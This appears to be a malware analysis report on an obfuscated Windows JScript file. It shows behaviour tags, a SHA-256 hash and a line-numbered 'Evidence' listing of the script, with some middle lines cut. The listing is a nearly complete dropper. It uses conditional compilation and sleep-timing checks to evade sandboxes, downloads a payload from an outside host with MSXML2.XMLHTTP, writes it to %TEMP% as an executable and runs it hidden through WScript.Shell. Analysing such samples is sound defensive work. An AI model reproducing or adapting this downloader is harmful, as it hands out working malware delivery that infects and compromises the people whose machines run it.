20160328_698e2c5c039eb6a807858f599f5f6586.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25655027b7a4f2f42b9a91d993ab86d49898d0f680d17eee8b65447479ec346ce2b
Evidence
1var Xavdjdoi = false;
2var Fsyow = "CreateObject";
3var Dixkeg = function Fgxhzwc() {return WScript[Fsyow]("WScript.Shell");}();
4var Atqhsqjhc = 123213;
5var Hvcbokruz = "MSXML2.XMLHTTP";
6var Xcszp = 2123213;
7var Ybzxipe = 0;
8function Vldpbjimc(Imwvlkqsw){Dixkeg["Run"](Imwvlkqsw, Ybzxipe, Ybzxipe);};
9function Fkvgbz(){return Hvcbokruz;};
10function Ezwrtdjr(Puhyt, Gpowxrnzc){return Puhyt - Gpowxrnzc;};
11function Dtejidrlcp(){return Fsyow;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Xavdjdoi = true;
15 @end
16@*/
17var Mevjqwurlk = "";
18if (Xavdjdoi)
19{
20function Xwmqcper(){return 22;};
21var Ouxmg = 0; var Cyifqi = 0;
22function Mehcv()
23{
24var Iwectrsknz = new this["Date"]();
25var Qemnrz = Iwectrsknz["getUTCMilliseconds"]();
26WScript["Sleep"](Xwmqcper());
27var Iwectrsknz = new this["Date"]();
28var Yaltaiiuca = Iwectrsknz["getUTCMilliseconds"]();
29WScript["Sleep"](Xwmqcper());
30var Iwectrsknz = new this["Date"]();
31var Zecthelfay = Iwectrsknz["getUTCMilliseconds"]();
32var Ouxmg = "Msrba";
33Ouxmg = Ezwrtdjr(Yaltaiiuca, Qemnrz);
34var Cyifqi = "Soklkfbw";
35Cyifqi = Ezwrtdjr(Zecthelfay, Yaltaiiuca);
36Mevjqwurlk = "open";
37return Ezwrtdjr(Ouxmg, Cyifqi);
38}
39var Nzqokvyra = false;
40var Zpith = false;
41for (var Vsgomwb = Ybzxipe; Vsgomwb < Xwmqcper() * 1; Vsgomwb++){if (Mehcv() != Ybzxipe){
42Nzqokvyra …
49:6… zqokvyra && Dgphhxkteq() && Zpith){
50function Plrippt() {return Dixkeg["ExpandEnvironmentStrings"]("%TEMP%/") + "xryvSawO.exe";};
51 Urbvurt = Fkvgbz();
52 Bcjuagb = WScript[Fsyow](Urbvurt);
53 var Vpqqytyqa = 1;
54 while (Vpqqytyqa){
55try {
56Bcjuagb[Mevjqwurlk]("GET", "http://2biking.com/k4isfa", false);
57Bcjuagb["send"]();
58Qqhjwrxs = "Sleep";
59do {WScript[Qqhjwrxs](Xwmqcper() * 11)} while (Bcjuagb["readystate"] < 4 );
60Vpqqytyqa = Ybzxipe;
61} catch(Xkxodvqtbv){Vpqqytyqa = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Zpdosp(Gevinpexak) {var Iwamei = (1, 2, 3, 4, 5, Gevinpexak); return Iwamei;};
64Rkukh = WScript[Dtejidrlcp()]("ADODB.Stream");
65Urbvurt = Rkukh;
66Urbvurt[Mevjqwurlk]();
67Urbvurt["type"] = Zpdosp(1);
68Urbvurt["write"](Bcjuagb["ResponseBody"]);
69Rkukh["position"] = Zpdosp(Ybzxipe);
70Urbvurt["SaveToFile"](Plrippt(), Zpdosp(2) );
71Rkukh["close"]();
72Vldpbjimc(Plrippt());
73}
74}
75